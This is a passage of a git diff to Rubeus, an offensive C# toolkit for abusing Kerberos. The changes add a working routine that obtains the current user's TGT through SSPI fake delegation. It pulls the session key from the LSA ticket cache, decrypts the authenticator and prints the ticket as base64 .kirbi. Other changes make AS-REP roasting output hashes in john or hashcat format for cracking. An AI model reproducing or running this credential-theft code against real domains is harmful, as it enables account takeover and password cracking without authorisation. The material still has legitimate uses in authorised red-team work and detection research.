byte[BytesToAllocate]; + + for (int Index = 0, BufferIndex = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //Now iterate over the individual buffers and put them together into a + //byte array... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + int BytesToCopy = Marshal.ReadInt32(pBuffers, CurrentOffset); + IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); + Marshal.Copy(SecBufferpvBuffer, Buffer, BufferIndex, BytesToCopy); + BufferIndex += BytesToCopy; + } + } + + return (Buffer); + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_INTEGER + { + public uint LowPart; + public int HighPart; + public SECURITY_INTEGER(int dummy) + { + LowPart = 0; + HighPart = 0; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_HANDLE + { + public IntPtr LowPart; + public IntPtr HighPart; + public SECURITY_HANDLE(int dummy) + { + LowPart = HighPart = IntPtr.Zero; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SecPkgContext_Sizes + { + public uint cbMaxToken; + public uint cbMaxSignature; + public uint cbBlockSize; + public uint cbSecurityTrailer; + }; + // functions @@ -883,15 +1172,6 @@ namespace Rubeus [DllImport("advapi32.dll", SetLastError = true)] public static extern bool RevertToSelf(); - //[DllImport("advapi32.dll", SetLastError = true)] - //public static extern bool LogonUser( - // string pszUsername, - // string pszDomain, - // string pszPassword, - // int dwLogonType, - // int dwLogonProvider, - // ref IntPtr phToken); - [DllImport("kernel32.dll")] public static extern uint GetLastError(); @@ -903,20 +1183,6 @@ namespace Rubeus int TokenInformationLength, out int ReturnLength); - //[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] - //public static extern bool CreateProcessAsUser( - // IntPtr hToken, - // string lpApplicationName, - // string lpCommandLine, - // ref SECURITY_ATTRIBUTES lpProcessAttributes, - // ref SECURITY_ATTRIBUTES lpThreadAttributes, - // bool bInheritHandles, - // uint dwCreationFlags, - // IntPtr lpEnvironment, - // string lpCurrentDirectory, - // ref STARTUPINFO lpStartupInfo, - // out PROCESS_INFORMATION lpProcessInformation); - [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, @@ -953,5 +1219,45 @@ namespace Rubeus public static extern uint LsaFreeReturnBuffer( IntPtr buffer ); + + // adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext + [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int AcquireCredentialsHandle( + string pszPrincipal, //SEC_CHAR* + string pszPackage, //SEC_CHAR* //"Kerberos","NTLM","Negotiative" + int fCredentialUse, + IntPtr PAuthenticationID,//_LUID AuthenticationID,//pvLogonID,//PLUID + IntPtr pAuthData,//PVOID + int pGetKeyFn, //SEC_GET_KEY_FN + IntPtr pvGetKeyArgument, //PVOID + ref SECURITY_HANDLE phCredential, //SecHandle //PCtxtHandle ref + ref SECURITY_INTEGER ptsExpiry //PTimeStamp //TimeStamp ref + ); + + [DllImport("secur32.dll", SetLastError = true)] + public static extern int InitializeSecurityContext( + ref SECURITY_HANDLE phCredential,//PCredHandle + IntPtr phContext, //PCtxtHandle + string pszTargetName, + int fContextReq, + int Reserved1, + int TargetDataRep, + IntPtr pInput, //PSecBufferDesc SecBufferDesc + int Reserved2, + out SECURITY_HANDLE phNewContext, //PCtxtHandle + out SecBufferDesc pOutput, //PSecBufferDesc SecBufferDesc + out uint pfContextAttr, //managed ulong == 64 bits!!! + out SECURITY_INTEGER ptsExpiry //PTimeStamp + ); + + [DllImport("secur32.dll")] + public static extern int DeleteSecurityContext( + ref SECURITY_HANDLE phContext + ); + + [DllImport("secur32.dll", CharSet = CharSet.Auto)] + public static extern int FreeCredentialsHandle( + [In] ref SECURITY_HANDLE phCredential + ); } } \ No newline at end of file diff --git a/Rubeus/lib/LSA.cs b/Rubeus/lib/LSA.cs index 4819442..df3d45c 100755 --- a/Rubeus/lib/LSA.cs +++ b/Rubeus/lib/LSA.cs @@ -1,8 +1,10 @@ -using System; +using Asn1; +using System; using System.Collections.Generic; using System.ComponentModel; using System.Runtime.InteropServices; using System.Security.Principal; +using System.Text; using System.Text.RegularExpressions; namespace Rubeus @@ -518,7 +520,7 @@ namespace Rubeus // copy unicode chars to the new location Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength); - // update the target name buffer ptr + // update the target name buffer ptr Marshal.WriteIntPtr(unmanagedAddr, 24, newTargetNameBuffPtr); // actually get the data @@ -532,18 +534,62 @@ namespace Rubeus // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE)); - Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME)); - string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim(); + string serviceName = ""; + if (response.Ticket.ServiceName != IntPtr.Zero) + { + Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME)); + if (serviceNameStruct.NameCount == 1) + { + string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim(); + serviceName = serviceNameStr1; + } + else if (serviceNameStruct.NameCount == 2) + { + string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim(); + string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim(); + serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2); + } + else { } + } + string targetName = ""; if (response.Ticket.TargetName != IntPtr.Zero) { Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME)); - targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim(); + if (targetNameStruct.NameCount == 1) + { + string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim(); + targetName = targetNameStr1; + } + else if (targetNameStruct.NameCount == 2) + { + string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim(); + string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim(); + targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2); + } + else { } + } + + + string clientName = ""; + if (response.Ticket.ClientName != IntPtr.Zero) + { + Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME)); + if (clientNameStruct.NameCount == 1) + { + string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim(); + clientName = clientNameStr1; + } + else if (clientNameStruct.NameCount == 2) + { + string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim(); + string clientNameStr2 = Marshal.PtrToStringUni(clientNameStruct.Names[1].Buffer, clientNameStruct.Names[1].Length / 2).Trim(); + clientName = String.Format("{0}@{1}", clientNameStr1, clientNameStr2); + } + else { } } - Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME)); - string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim(); string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim(); string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim(); @@ -760,18 +806,62 @@ namespace Rubeus // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE)); - Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME)); - string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim(); + string serviceName = ""; + if (response.Ticket.ServiceName != IntPtr.Zero) + { + Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME)); + if (serviceNameStruct.NameCount == 1) + { + string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim(); + serviceName = serviceNameStr1; + } + else if (serviceNameStruct.NameCount == 2) + { + string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim(); + string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim(); + serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2); + } + else { } + } + string targetName = ""; if (response.Ticket.TargetName != IntPtr.Zero) { Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME)); - targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim(); + if (targetNameStruct.NameCount == 1) + { + string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim(); + targetName = targetNameStr1; + } + else if (targetNameStruct.NameCount == 2) + { + string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim(); + string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim(); + targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2); + } + else { } + } + + + string clientName = ""; + if (response.Ticket.ClientName != IntPtr.Zero) + { + Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME)); + if (clientNameStruct.NameCount == 1) + { + string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim(); + clientName = clientNameStr1; + } + else if (clientNameStruct.NameCount == 2) + { + string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim(); + string clientNameStr2 = Marshal.PtrToStringUni(clientNameStruct.Names[1].Buffer, clientNameStruct.Names[1].Length / 2).Trim(); + clientName = String.Format("{0}@{1}", clientNameStr1, clientNameStr2); + } + else { } } - Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME)); - string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim(); string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim(); string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim(); @@ -1128,5 +1218,358 @@ namespace Rubeus Console.WriteLine(" KeyType : {0}", keyType); Console.WriteLine(" Base64(key) : {0}\r\n", b64Key); } + + public static byte[] GetEncryptionKeyFromCache(string target, Interop.KERB_ETYPE etype) + { + // gets the cached session key for a given service ticket + // used by RequestFakeDelegTicket + + int authPack; + IntPtr lsaHandle; + int retCode; + string name = "kerberos"; + byte[] returnedSessionKey; + Interop.LSA_STRING_IN LSAString; + LSAString.Length = (ushort)name.Length; + LSAString.MaximumLength = (ushort)(name.Length + 1); + LSAString.Buffer = name; + + retCode = Interop.LsaConnectUntrusted(out lsaHandle); + retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack); + + int returnBufferLength = 0; + int protocalStatus = 0; + IntPtr responsePointer = IntPtr.Zero; + Interop.KERB_RETRIEVE_TKT_REQUEST request = new Interop.KERB_RETRIEVE_TKT_REQUEST(); + Interop.KERB_RETRIEVE_TKT_RESPONSE response = new Interop.KERB_RETRIEVE_TKT_RESPONSE(); + + // signal that we want encoded .kirbi's returned + request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage; + request.CacheOptions = (uint)Interop.KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_USE_CACHE_ONLY; + request.EncryptionType = (int)etype; + + // target SPN to fake delegation for + Interop.UNICODE_STRING tName = new Interop.UNICODE_STRING(target); + request.TargetName = tName; + + // the following is due to the wonky way LsaCallAuthenticationPackage wants the KERB_RETRIEVE_TKT_REQUEST + // for KerbRetrieveEncodedTicketMessages + + // create a new unmanaged struct of size KERB_RETRIEVE_TKT_REQUEST + target name max len + int structSize = Marshal.SizeOf(typeof(Interop.KERB_RETRIEVE_TKT_REQUEST)); + int newStructSize = structSize + tName.MaximumLength; + IntPtr unmanagedAddr = Marshal.AllocHGlobal(newStructSize); + + // marshal the struct from a managed object to an unmanaged block of memory. + Marshal.StructureToPtr(request, unmanagedAddr, false); + + // set tName pointer to end of KERB_RETRIEVE_TKT_REQUEST + IntPtr newTargetNameBuffPtr = (IntPtr)((long)(unmanagedAddr.ToInt64() + (long)structSize)); + + // copy unicode chars to the new location + Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength); + + // update the target name buffer ptr + Marshal.WriteIntPtr(unmanagedAddr, 24, newTargetNameBuffPtr); + + // actually get the data + retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, unmanagedAddr, newStructSize, out responsePointer, out returnBufferLength, out protocalStatus); + + // translate the LSA error (if any) to a Windows error + uint winError = Interop.LsaNtStatusToWinError((uint)protocalStatus); + + if ((retCode == 0) && ((uint)winError == 0) && (returnBufferLength != 0)) + { + // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure + response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE)); + + // extract the session key + Interop.KERB_ETYPE sessionKeyType = (Interop.KERB_ETYPE)response.Ticket.SessionKey.KeyType; + Int32 sessionKeyLength = response.Ticket.SessionKey.Length; + byte[] sessionKey = new byte[sessionKeyLength]; + Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength); + + //string serviceName = ""; + //if (response.Ticket.ServiceName != IntPtr.Zero) + //{ + // Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME)); + // if (serviceNameStruct.NameCount == 1) + // { + // string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim(); + // serviceName = serviceNameStr1; + // } + // else if (serviceNameStruct.NameCount == 2) + // { + // string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim(); + // string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim(); + // serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2); + // } + // else { } + //} + + + //string targetName = ""; + //if (response.Ticket.TargetName != IntPtr.Zero) + //{ + // Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME)); + // if (targetNameStruct.NameCount == 1) + // { + // string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim(); + // targetName = targetNameStr1; + // } + // else if (targetNameStruct.NameCount == 2) + // { + // string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim(); + // string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim(); + // targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2); + // } + // else { } + //} + + + //string clientName = ""; + //if (response.Ticket.ClientName != IntPtr.Zero) + //{ + // Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME)); + // if (clientNameStruct.NameCount == 1) + // { + // string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim(); + // clientName = clientNameStr1; + // } + // else if (clientNameStruct.NameCount == 2) + // { + // string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim(); + // string clientNameStr2 = Marshal.PtrToStringUni(clientNameStruct.Names[1].Buffer, clientNameStruct.Names[1].Length / 2).Trim(); + // clientName = String.Format("{0}@{1}", clientNameStr1, clientNameStr2); + // } + // else { } + //} + //Console.WriteLine("ServiceName: {0}", serviceName); + //Console.WriteLine("TargetName: {0}", targetName); + //Console.WriteLine("ClientName: {0}", clientName); + + returnedSessionKey = sessionKey; + } + else + { + string errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("\r\n[X] Error {0} calling LsaCallAuthenticationPackage() for target \"{1}\" : {2}", winError, target, errorMessage); + returnedSessionKey = null; + } + + // clean up + Interop.LsaFreeReturnBuffer(responsePointer); + Marshal.FreeHGlobal(unmanagedAddr); + + // disconnect from LSA + Interop.LsaDeregisterLogonProcess(lsaHandle); + + return returnedSessionKey; + } + + public static void RequestFakeDelegTicket(string targetSPN = "") + { + Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n"); + + if (String.IsNullOrEmpty(targetSPN)) + { + Console.WriteLine("[*] No target SPN specified, attempting to build 'HOST/dc.domain.com'"); + string domainController = Networking.GetDCName(); + if(String.IsNullOrEmpty(domainController)) + { + Console.WriteLine("[X] Error retrieving current domain controller"); + return; + } + targetSPN = String.Format("HOST/{0}", domainController); + } + + Interop.SECURITY_HANDLE phCredential = new Interop.SECURITY_HANDLE(); + Interop.SECURITY_INTEGER ptsExpiry = new Interop.SECURITY_INTEGER(); + int SECPKG_CRED_OUTBOUND = 2; + + // first get a handle to the Kerberos package + int status = Interop.AcquireCredentialsHandle(null, "Kerberos", SECPKG_CRED_OUTBOUND, IntPtr.Zero, IntPtr.Zero, 0, IntPtr.Zero, ref phCredential, ref ptsExpiry); + + if (status == 0) + { + Interop.SecBufferDesc ClientToken = new Interop.SecBufferDesc(12288); + Interop.SECURITY_HANDLE ClientContext = new Interop.SECURITY_HANDLE(0); + uint ClientContextAttributes = 0; + Interop.SECURITY_INTEGER ClientLifeTime = new Interop.SECURITY_INTEGER(0); + int SECURITY_NATIVE_DREP = 0x00000010; + int SEC_E_OK = 0x00000000; + int SEC_I_CONTINUE_NEEDED = 0x00090312; + + Console.WriteLine("[*] Initializing Kerberos GSS-API w/ fake delegation for target '{0}'", targetSPN); + + // now initialize the fake delegate ticket for the specified targetname (default HOST/DC.domain.com) + int status2 = Interop.InitializeSecurityContext(ref phCredential, + IntPtr.Zero, + targetSPN, // null string pszTargetName, + (int)(Interop.ISC_REQ.ALLOCATE_MEMORY | Interop.ISC_REQ.DELEGATE | Interop.ISC_REQ.MUTUAL_AUTH), + 0, //int Reserved1, + SECURITY_NATIVE_DREP, //int TargetDataRep + IntPtr.Zero, //Always zero first time around... + 0, //int Reserved2, + out ClientContext, //pHandle CtxtHandle = SecHandle + out ClientToken, //ref SecBufferDesc pOutput, //PSecBufferDesc + out ClientContextAttributes, //ref int pfContextAttr, + out ClientLifeTime); //ref IntPtr ptsExpiry ); //PTimeStamp + + if ((status2 == SEC_E_OK) || (status2 == SEC_I_CONTINUE_NEEDED)) + { + Console.WriteLine("[+] Kerberos GSS-API initialization success!"); + + if ((ClientContextAttributes & (uint)Interop.ISC_REQ.DELEGATE) == 1) + { + Console.WriteLine("[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output."); + + // the fake delegate AP-REQ ticket is now in the cache! + + // the Kerberos OID to search for in the output stream + // from Kekeo -> https://github.com/gentilkiwi/kekeo/blob/master/kekeo/modules/kuhl_m_tgt.c#L329-L345 + byte[] KeberosV5 = { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02 }; // 1.2.840.113554.1.2.2 + byte[] ClientTokenArray = ClientToken.GetSecBufferByteArray(); + int index = Helpers.SearchBytePattern(KeberosV5, ClientTokenArray); + if (index > 0) + { + int startIndex = index += KeberosV5.Length; + + // check if the first two bytes == TOK_ID_KRB_AP_REQ + if ((ClientTokenArray[startIndex] == 1) && (ClientTokenArray[startIndex+1] == 0)) + { + Console.WriteLine("[*] Found the AP-REQ delegation ticket in the GSS-API output."); + + startIndex += 2; + byte[] apReqArray = new byte[ClientTokenArray.Length-startIndex]; + Buffer.BlockCopy(ClientTokenArray, startIndex, apReqArray, 0, apReqArray.Length); + + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt asn_AP_REQ = AsnElt.Decode(apReqArray, false); + + foreach(AsnElt elt in asn_AP_REQ.Sub[0].Sub) + { + if (elt.TagValue == 4) + { + // build the encrypted authenticator + EncryptedData encAuthenticator = new EncryptedData(elt.Sub[0]); + Interop.KERB_ETYPE authenticatorEtype = (Interop.KERB_ETYPE)encAuthenticator.etype; + Console.WriteLine("[*] Authenticator etype: {0}", authenticatorEtype); + + // grab the service ticket session key from the local cache + byte[] key = GetEncryptionKeyFromCache(targetSPN, authenticatorEtype); + + if (key != null) + { + string base64SessionKey = Convert.ToBase64String(key); + Console.WriteLine("[*] Extracted the service ticket session key from the ticket cache: {0}", base64SessionKey); + + // KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR == 11 (https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/modules/asn1/kull_m_kerberos_asn1.h) + byte[] rawBytes = Crypto.KerberosDecrypt(authenticatorEtype, 11, key, encAuthenticator.cipher); + + AsnElt asnAuthenticator = AsnElt.Decode(rawBytes, false); + + foreach (AsnElt elt2 in asnAuthenticator.Sub[0].Sub) + { + if (elt2.TagValue == 3) + { + Console.WriteLine("[+] Successfully decrypted the authenticator"); + + int cksumtype = Convert.ToInt32(elt2.Sub[0].Sub[0].Sub[0].GetInteger()); + + // check if cksumtype == GSS_CHECKSUM_TYPE + if (cksumtype == 0x8003) + { + byte[] checksumBytes = elt2.Sub[0].Sub[1].Sub[0].GetOctetString(); + + // check if the flags include GSS_C_DELEG_FLAG + if ((checksumBytes[20] & 1) == 1) + { + ushort dLen = BitConverter.ToUInt16(checksumBytes, 26); + byte[] krbCredBytes = new byte[dLen]; + // copy out the krbCredBytes from the checksum structure + Buffer.BlockCopy(checksumBytes, 28, krbCredBytes, 0, dLen); + + AsnElt asn_KRB_CRED = AsnElt.Decode(krbCredBytes, false); + Ticket ticket = null; + KRB_CRED cred = new KRB_CRED(); + + foreach (AsnElt elt3 in asn_KRB_CRED.Sub[0].Sub) + { + if (elt3.TagValue == 2) + { + // extract the TGT and add it to the KRB-CRED + ticket = new Ticket(elt3.Sub[0].Sub[0].Sub[0]); + cred.tickets.Add(ticket); + } + else if (elt3.TagValue == 3) + { + byte[] enc_part = elt3.Sub[0].Sub[1].GetOctetString(); + + // KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART == 14 + byte[] rawBytes2 = Crypto.KerberosDecrypt(authenticatorEtype, 14, key, enc_part); + + // decode the decrypted plaintext enc par and add it to our final cred object + AsnElt encKrbCredPartAsn = AsnElt.Decode(rawBytes2, false); + cred.enc_part.ticket_info.Add(new KrbCredInfo(encKrbCredPartAsn.Sub[0].Sub[0].Sub[0].Sub[0])); + } + } + + byte[] kirbiBytes = cred.Encode().Encode(); + string kirbiString = Convert.ToBase64String(kirbiBytes); + + Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); + + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + } + else + { + Console.WriteLine("[X] Error: Invalid checksum type: {0}", cksumtype); + } + } + } + } + else + { + Console.WriteLine("[X] Error: Unable to extract session key from cache for target SPN: {0}", targetSPN); + } + } + } + } + else + { + Console.WriteLine("[X] Error: Kerberos OID not found in output buffer!"); + } + } + else + { + Console.WriteLine("[X] Error: Kerberos OID not found in output buffer!"); + } + } + else { + Console.WriteLine("[X] Error: Client is not allowed to delegate to target: {0}", targetSPN); + } + } + else + { + Console.WriteLine("[X] Error: InitializeSecurityContext error: {0}", status2); + } + // cleanup 1 + Interop.DeleteSecurityContext(ref ClientContext); + } + else + { + Console.WriteLine("[X] Error: AcquireCredentialsHandle error: {0}", status); + } + + // cleanup 2 + Interop.FreeCredentialsHandle(ref phCredential); + } } -} \ No newline at end of file +} diff --git a/Rubeus/lib/Roast.cs b/Rubeus/lib/Roast.cs index d444f2e..49fd8ed 100755 --- a/Rubeus/lib/Roast.cs +++ b/Rubeus/lib/Roast.cs @@ -11,12 +11,12 @@ namespace Rubeus { public class Roast { - public static void ASRepRoast(string userName, string domain, string domainController = "") + public static void ASRepRoast(string userName, string domain, string domainController = "", string format = "john") { - GetASRepHash(userName, domain, domainController); + GetASRepHash(userName, domain, domainController, format); } - public static void GetASRepHash(string userName, string domain, string domainController = "") + public static void GetASRepHash(string userName, string domain, string domainController = "", string format = "") { // roast AS-REPs for users without pre-authentication enabled @@ -69,7 +69,18 @@ namespace Rubeus // output the hash of the encrypted KERB-CRED in a crackable hash form string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty); - string hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash); + repHash = repHash.Insert(32, "$"); + + string hashString = ""; + if(format == "john") + { + hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash); + } + else + { + // eventual hashcat format + hashString = String.Format("$krb5asrep${0}$*{1}${2}*${3}${4}", (int)Interop.KERB_ETYPE.rc4_hmac, userName, domain, repHash.Substring(0, 32), repHash.Substring(32)); + } Console.WriteLine("[*] AS-REP hash:\r\n"); @@ -223,53 +234,29 @@ namespace Rubeus { string domain = "DOMAIN"; -#if DEBUG - Console.WriteLine("[Debug:GetDomainSPNTicket] spn : {0}", spn); - Console.WriteLine("[Debug:GetDomainSPNTicket] userName : {0}", userName); - Console.WriteLine("[Debug:GetDomainSPNTicket] distinguishedName : {0}", distinguishedName); -#endif if (Regex.IsMatch(distinguishedName, "^CN=.*", RegexOptions.IgnoreCase)) { -#if DEBUG - Console.WriteLine("[Debug:GetDomainSPNTicket] Regex match!"); -#endif // extract the domain name from the distinguishedname Match dnMatch = Regex.Match(distinguishedName, "(?DC=.*)", RegexOptions.IgnoreCase); string domainDN = dnMatch.Groups["Domain"].ToString(); -#if DEBUG - Console.WriteLine("[Debug:GetDomainSPNTicket] domainDN : {0}", domainDN); -#endif domain = domainDN.Replace("DC=", "").Replace(',', '.'); -#if DEBUG - Console.WriteLine("[Debug:GetDomainSPNTicket] domain : {0}", domain); -#endif } try { - //Console.WriteLine("[*] Requesting ticket for SPN: {0}", spn); + // the System.IdentityModel.Tokens.KerberosRequestorSecurityToken approach and extraction of the AP-REQ from the + // GetRequest() stream was constributed to PowerView by @machosec System.IdentityModel.Tokens.KerberosRequestorSecurityToken ticket; if (cred != null) { -#if DEBUG - Console.WriteLine("[Debug:GetDomainSPNTicket] cred != null"); -#endif ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn, TokenImpersonationLevel.Impersonation, cred, Guid.NewGuid().ToString()); } else { -#if DEBUG - Console.WriteLine("[Debug:GetDomainSPNTicket] cred == null, usingn SPN : {0}", spn); -#endif ticket = new System.IdentityModel.Tokens.KerberosRequestorSecurityToken(spn); } -#if DEBUG - Console.WriteLine("[Debug:GetDomainSPNTicket] KerberosRequestorSecurityToken request successful"); -#endif byte[] requestBytes = ticket.GetRequest(); -#if DEBUG - Console.WriteLine("[Debug:GetDomainSPNTicket] 